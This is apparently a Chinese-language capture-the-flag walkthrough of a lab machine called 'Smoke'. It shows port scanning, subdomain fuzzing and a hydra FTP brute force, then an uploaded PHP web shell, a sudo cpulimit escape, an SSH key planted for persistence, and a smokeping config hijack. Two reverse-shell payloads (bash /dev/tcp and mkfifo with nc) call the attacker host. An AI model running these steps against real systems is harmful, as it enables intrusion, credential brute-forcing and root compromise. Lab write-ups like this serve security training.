

Smoke

添加域名。

```
nmap -p- 10.184.211.1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-15
03:26 EDT
Nmap scan report for 10.184.211.1
Host is up (0.00043s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 08:00:27:8A:02:44 (PCS Systemtechnik/Oracle
VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.79
seconds
```

ftp尝试了一下匿名ftp失败了。看了下80端口貌似没什么东西，有个guest，可能要鉴权。先爆破一下子域名

```
wfuzz -c -u "http://smoke.dsz" -H "HOST:FUZZ.smoke.dsz" -w
/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
--hw 29
```

得到ftp和www两个子域名。把他俩也添加上去。curl -s去访问www和ftp，发现ftp是个文件上传，但是应该有限制需要绕过。发现有后缀限制，测试了一下，感觉检查很严格。

在/uploads目录下发现passwd文件，难道说要爆破？

```
hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt
ftp://10.184.211.1
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak -
Please do not use in military or secret service
organizations, or for illegal purposes (this is non-
binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra)
starting at 2026-04-15 08:01:25
[DATA] max 16 tasks per 1 server, overall 16 tasks,
14344399 login tries (l:1/p:14344399), ~896525 tries per
task
[DATA] attacking ftp://10.184.211.1:21/
[STATUS] 290.00 tries/min, 290 tries in 00:01h, 14344109
to do in 824:23h, 16 active
[STATUS] 288.00 tries/min, 864 tries in 00:03h, 14343535
to do in 830:04h, 16 active
[21][ftp] host: 10.184.211.1 login: ftpuser password:
kelvin
1 of 1 target successfully completed, 1 valid password
found
Hydra (https://github.com/vanhauser-thc/thc-hydra)
finished at 2026-04-15 08:06:19
```

成功爆破 ftpuser/kelvin 在 ftp 端口拿到 hello.txt，但是没有用。去看看用什么可以操作的，发现 upload.php 写的非常严谨不好上传。创建 ssh 目录也不允许那我就传个马上去到 uploads 下再开始后续操作。不太方便直接反弹 shell 了。

```
echo '<?php exec("/bin/bash -c \"bash -i >&
/dev/tcp/10.184.211.10/6666 0>&1\\"); ?>' > rev.php
```

然后再 su ftpuser 发现他的 .ssh 目录是 root 搞的，难受。

尝试横向到 tkbic 用户，由于靶机比较简易，有点难受了 shell

```

echo "kelvin" | sudo -S -l
[sudo] password for ftpuser: Matching Defaults entries for
ftpuser on Smoke:

    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/
usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for ftpuser:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR
EDITOR VISUAL"

User ftpuser may run the following commands on Smoke:
    (tkbic) /usr/bin/cpulimit

```

GTGOBins拿到tkbic用户权限

```

sudo -S -u tkbic /usr/bin/cpulimit -l 100 /bin/bash
id
uid=1001(tkbic) gid=1001(tkbic) groups=1001(tkbic)

```

写公钥，稳定shell

```

echo "ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQCMVAEp6bgIIC9FIbpjZFUEI+05kZ
fYNBBkPIHonsbJx7YSSC6XfcvPLMvnX3lYNJZv/WGZownfLi0lx7kreXRP
SXilVq0/F3hS5QsSiVxoEhEdSCm606lctC7LAMgC+uVxi39zs1F45gRSmw
4sKVwABUDdkUgCHvurToHLMg6w/MepHF5awpNBekNRdYkS6g+8mpxNhMTY
6YhfJKQyK/lrRa5jtgI3UiKK7vs3sc479j3GnOVxbq/frVfXTFXZ/2fym8
4cH9tYRLyk+SkjTBMSBdSt6uFB9/UhIFq8Sr2D0TFGRqt0uefhVM/hF2tc
neYoDVAVJ+iQfpxFIwc9y01DnMnv3UUnfJTl7Tg6SRivL9Hrx882Na1x3y
X8mYSYHIt+F78FTCN2R2Q3IG/wvFjX/RkjCoQuJtzMYJETQhcX+ebjpEF5
IPsRaNwW05OGlLA97QbypnwSn9OVCmtJ3FBFD17J0tz9GxeuLT+Oo3LSHI
P4aiyFm7sNblDdPJnwprccJJN4q0/xw5Zz0Y2GZFZeSZdwv6f+3U9Hxmf/
Nm0GhmcekFWQUGVUwdLShv7FerA5nnN2TLqMb2D8NJeihSC8byTInOS7
JIS5r/d4LlelTLf8K71Rsb3s3fErFCwYYALpBFJzzMoUCxedYEKLpwcPk4
qZBHa6yUTqdrTQWLg== kali@kali" > .ssh/authorized_keys
chmod 700 .ssh
chmod 600 .ssh/authorized_keys

```

```

sudo -l
Matching Defaults entries for tkbic on Smoke:

    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for tkbic:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR
EDITOR VISUAL"

User tkbic may run the following commands on Smoke:
    (ALL) NOPASSWD: /usr/sbin/smokeping, /usr/bin/kill
smokeping

```

smokePing是一个网络监控服务，分析发现可以通过config参数强制读取恶意配置，从而进行提权。

```

tkbic@Smoke:/tmp$ cp -rL /etc/smokeping
/tmp/smokeping_config
chmod -R 777 /tmp/smokeping_config
cp: can't open '/etc/smokeping/smokeping_secrets':
Permission denied
tkbic@Smoke:/tmp$ sed -i 's|binary =
/usr/sbin/fping|binary = /tmp/payload.sh|g'
/tmp/smokeping_config/config

```

改配置加载恶意sh。

```

tkbic@Smoke:/tmp$ cat << 'EOF' > /tmp/payload.sh
#!/bin/sh
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1
| nc 10.184.211.10 9999 >/tmp/f
EOF
tkbic@Smoke:/tmp$ chmod 777 payload.sh
tkbic@Smoke:/tmp$ sudo /usr/sbin/smokeping --
config=/tmp/smokeping_config/config --debug

```

成功提权。

```
└─(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.184.211.10] from (UNKNOWN) [10.184.211.1]
40215
root@Smoke:/tmp# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root@Smoke:/tmp# cat /root/root.txt
flag{root-21d1cf4c7492633885766cbca8cee19c}
```